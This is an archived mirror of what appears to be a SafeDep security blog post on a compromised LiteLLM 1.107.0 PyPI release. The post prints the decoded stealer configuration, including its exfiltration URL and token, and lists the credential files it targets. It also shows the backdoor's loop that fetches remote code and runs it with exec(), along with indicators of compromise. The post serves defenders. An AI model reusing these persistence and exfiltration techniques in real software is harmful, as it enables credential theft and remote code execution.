news.herich.cloud
Archived text mirror · columns · archive · trending · search
Hacker News October 22, 2026 6 min signal 2026-10-22

Compromised LiteLLM 1.107.0 on PyPI installs a credential stealer and backdoor

Archived text mirror, captured for personal reading when the Signal ran. Formatting is approximate — read the original at the source.

Back to Blog

Compromised LiteLLM 1.107.0 on PyPI Installs a Credential Stealer and Backdoor

  • Security

Kunal Singh • Oct 21, 2026 • 5 min read

On this page

The LiteLLM 1.107.0 release on PyPI carries a credential stealer and a remote code execution backdoor. All seven wheels (Linux, macOS, Windows) install them as three files in site-packages. Both run when any Python process starts on the host, even one that never imports litellm. The upstream GitHub source does not contain them.

LiteLLM confirmed the compromise in its incident report, which lists remediation steps. PyPI removed the release by 13:23 UTC on 2026-10-21. The Docker images v1.107.0, latest, main-latest, and main-stable on Docker Hub and GHCR also carried the malicious code between 11:46 and 14:20 UTC.

Versions 1.106.2, 1.107.0rc1, and 1.107.0rc2 are clean. The companion packages that 1.107.0 pins, litellm-proxy-extras==0.4.110 and litellm-enterprise==0.1.78, are also clean.

What the attack does

Installing litellm==1.107.0 places three files in site-packages. Python loads two of them each time it starts.

  • cook.pth imports cook.py, a credential stealer. It collects SSH keys, cloud credentials, CI/CD secrets, AI tool

tokens, browser passwords, and the LLM provider keys in a LiteLLM proxy database. It encrypts the data and sends it to www.litellm[.]dev.

  • sitecustomize.py starts a background daemon. Every hour, the daemon reads a server address from a GitHub file,

runs the stealer again, and downloads and runs code from that server.

How the implant got into the release

The pyproject.toml in the 1.107.0 source distribution (sdist) has one extra line in the maturin build section:

pyproject.toml (litellm-1.107.0.tar.gz)

1

2

3

4

5

6

[tool.maturin] ... python-source = "." data = "cook" # <-- injected python-packages = ["litellm_cli"] # legitimate (present upstream)

TOML 6 lines

The maturin data = "cook" setting copies a cook/ folder into litellm-1.107.0.data/purelib/ in the wheel. pip installs that folder into site-packages.

The sdist leaves out the cook/ folder, so this line is the only visible change. No public commit in BerriAI/litellm contains data = "cook" or a cook/ folder.

The wheel RECORD lists the three added files:

litellm-1.107.0.dist-info/RECORD

1

2

3

4

litellm-1.107.0.data/purelib/cook.pth 12 bytes "import cook" litellm-1.107.0.data/purelib/cook.py 22252 bytes exec(zlib.decompress(b64decode(...))) litellm-1.107.0.data/purelib/sitecustomize.py 25509 bytes loader/backdoor + embedded stealer

TEXT 4 lines

How the attacker published it

LiteLLM’s incident report says the attacker held the GitHub CLI credentials of three developers. LiteLLM believes the attacker took them from the logs of an internal LiteLLM deployment exposed to the internet. With an organization owner’s token, the attacker bypassed branch protection and pointed the private release workflow at a lookalike repository, Berri-AI/litellm. The attacker then passed the approval gate with a second developer’s credential, and the official pipeline built, signed, and published the artifacts.

Payload 1: the credential stealer in cook.py

At startup, Python runs each line that starts with import in a .pth file in site-packages. cook.pth contains import cook, so the stealer runs in every Python process on the host: the application, pip, IDE language servers, and CI jobs.

cook.py wraps about 61 KB of Python in one layer of exec(zlib.decompress(base64.b64decode('...'))). The decoded code starts with this configuration:

cook.py (decoded)

1

2

3

4

5

6

7

8

9

10

PC_URL = 'http://www.litellm.dev/healthcheck' PC_TOKEN = 'XWiA8gZNa7NcX2XRoAEb' # sent as X-Token header PC_PUBKEY = '-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvxRBQMVXDXVskKS47haU ...' # RSA-4096 PC_ONCE_PATH = '/tmp/.pc_once_72129118c59f5636c0bb' PC_ASYNC = True # runs in a daemon thread PC_MODULES = ['sysinfo','netinfo','browser_pw','browser_hist','ssh_keys', 'shell_hist','cloud_creds','dev_secrets','container_creds', 'cicd_secrets','ai_devtools','env_vars','db_litellm', 'cloud_metadata','gpg_keys','tls_privkey']

PYTHON 10 lines

What it collects

ModuleTargets

sysinfo, netinfoHost name, user, operating system, IP addresses, network settings

browser_pwChromium saved passwords, decrypted with the profile master key (DPAPI on Windows). Firefox logins.json and key4.db

browser_histBrowser history

ssh_keys~/.ssh/*

shell_histbash and zsh history, PowerShell PSReadLine, cmd history

cloud_creds~/.aws/credentials and config, Azure profile and tokens, gcloud credentials, ~/.kube/config, ~/.docker/config.json, gh hosts.yml, rclone.conf, ~/.netrc

dev_secrets.pem, .key, .pfx, .p12, .pk8, .ppk files under $HOME, Composer auth.json, FileZilla saved servers

container_credsKubernetes service account token

cicd_secretsGitLab runner config.toml, Jenkins initialAdminPassword and master.key, .vault-token, Terraform credentials.tfrc.json, Packer settings

ai_devtoolsClaude Code, Claude Desktop, Cursor, Windsurf, Copilot, VS Code mcp.json, Gemini CLI, Codex auth.json, Continue, Aider, Goose, opencode, Qwen, Crush, Kiro, Zed, Hugging Face token

env_varsIts own environment and the environment of other processes through /proc/<pid>/environ

db_litellmReads DATABASE_URL and dumps the LiteLLM_CredentialsTable and LiteLLM_ProxyModelTable tables, which hold the LLM provider API keys of a LiteLLM proxy

cloud_metadataAWS instance metadata service (IMDSv2, then v1): instance identity and role credentials

gpg_keys, tls_privkeyGPG keys, TLS private keys

How it sends the data

  • It encrypts the JSON results with a random AES-256-CBC key, and encrypts that key with RSA-OAEP and the embedded

public key.

  • It packs the result into a tar.gz (hdr.json, data.bin, key.bin) and sends it in a POST request to

www.litellm[.]dev/healthcheck with the header X-Token: XWiA8gZNa7NcX2XRoAEb.

  • After a successful upload, it writes /tmp/.pc_once_72129118c59f5636c0bb so it collects only once per host. It

also sets PRIVCOLLECT_ACTIVE=1 to avoid a second run in the same process tree.

Payload 2: the backdoor in sitecustomize.py

Python imports sitecustomize at startup, so this file also runs in every Python process.

sitecustomize.py

1

2

3

4

5

GITHUB_RAW_URL = "https://raw.githubusercontent.com/letters9813/pythonclient-test/main/domain.txt" CODE_PATH = "/codepy" LOOP_INTERVAL = 3600 LOCK_FILE = "/tmp/remote_code_loader.lock"

PYTHON 5 lines

  • It takes an exclusive lock on /tmp/remote_code_loader.lock, so only one daemon runs per host.
  • It calls fork() and setsid(), sends standard input and output to /dev/null, and changes directory to / to

detach from the parent process.

  • Every hour, it:
  • reads domain.txt from the attacker’s GitHub repository and takes the first line that looks like a domain,
  • runs its embedded copy of the stealer, which has no once-per-host marker,
  • downloads http://<domain>/codepy and runs it with exec().

The attacker can point the daemon at a new server by editing domain.txt. Each infected host runs whatever that server returns as codepy.

At 13:40 UTC, the GitHub account letters9813 and its repository returned 404, about two hours after the release. The backdoor now finds no server address and does nothing. Hosts that ran the daemon before the deletion could have received and run second-stage code. SafeDep could not recover the server address.

Timeline

All times are UTC on 2026-10-21, from LiteLLM’s report unless noted.

TimeEvent

10:08Attacker overrides branch protection and changes the release workflow

10:46Staging run builds from Berri-AI/litellm

11:39 to 11:40Seven malicious wheels uploaded to PyPI

11:46Malicious Docker images published

13:23PyPI removes 1.107.0

13:40GitHub account letters9813 returns 404 (SafeDep)

14:20Docker Hub tags removed or repointed to clean images

Indicators of compromise

Network

IndicatorPurpose

www.litellm[.]dev, hxxp://www.litellm[.]dev/healthcheckReceives stolen data

HTTP header X-Token: XWiA8gZNa7NcX2XRoAEbSent with each upload

raw.githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txtBackdoor reads its server address here (account deleted)

hxxp://<domain>/codepySecond-stage code download

Requests to 169.254.169.254 from Python processesTheft of AWS instance credentials

Host

IndicatorMeaning

cook.pth, cook.py, sitecustomize.py in site-packagesImplant installed

/tmp/.pc_once_72129118c59f5636c0bbStealer already uploaded data

/tmp/remote_code_loader.lockBackdoor daemon has run

Environment variable PRIVCOLLECT_ACTIVE=1Present in infected processes

Detached Python daemon (parent PID 1, own session, working directory /)Backdoor loop

Container images

TagsImage index digest

v1.107.0, latest, main-latest, main-stablesha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e

LiteLLM’s report lists this digest for berriai/litellm on Docker Hub and ghcr.io/berriai/litellm.

File hashes (SHA-256)

FileSHA-256

litellm-1.107.0.tar.gz2befe2a79fb4fbbd9a543b5b40b530c8cffa8771bab22b8fb22b2e4ae3b1f819

litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7

litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6

litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00

litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whlc2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054

litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d

litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a

litellm-1.107.0-cp310-abi3-win_amd64.whl12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

The planted files have different hashes on Windows because of the CRLF line endings:

FileLinux and macOSWindows

cook.pth7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d

cook.py9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be2503ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea

sitecustomize.py34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fab6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

  • pypi
  • python
  • malware
  • supply-chain
  • litellm

Author

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

  • Security

Anyone can compute eight eMudhra intermediate CA private keys from public certificates. Browsers block the compromised intermediates, but CI runners, containers, JVMs and Go binaries can still trust...

  • Security

The MALFEX package imgdecode contains a native Windows loader. When loaded from a console, it attempts to download, decrypt, and inject shellcode into dllhost.exe.

  • Security

An attacker pushed forged commits to the default branches of hugo-paper and mevn-cli. Running npm install or bun install in either repository downloads and runs a second-stage script from...

  • Security

Attackers got into the platforms ASOS uses to message customers and pushed an extortion note to phones. Here is what is confirmed, what is only claimed, and what customers should do.

View All Blogs

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.

Star on GitHub Book a Demo

← latest Signal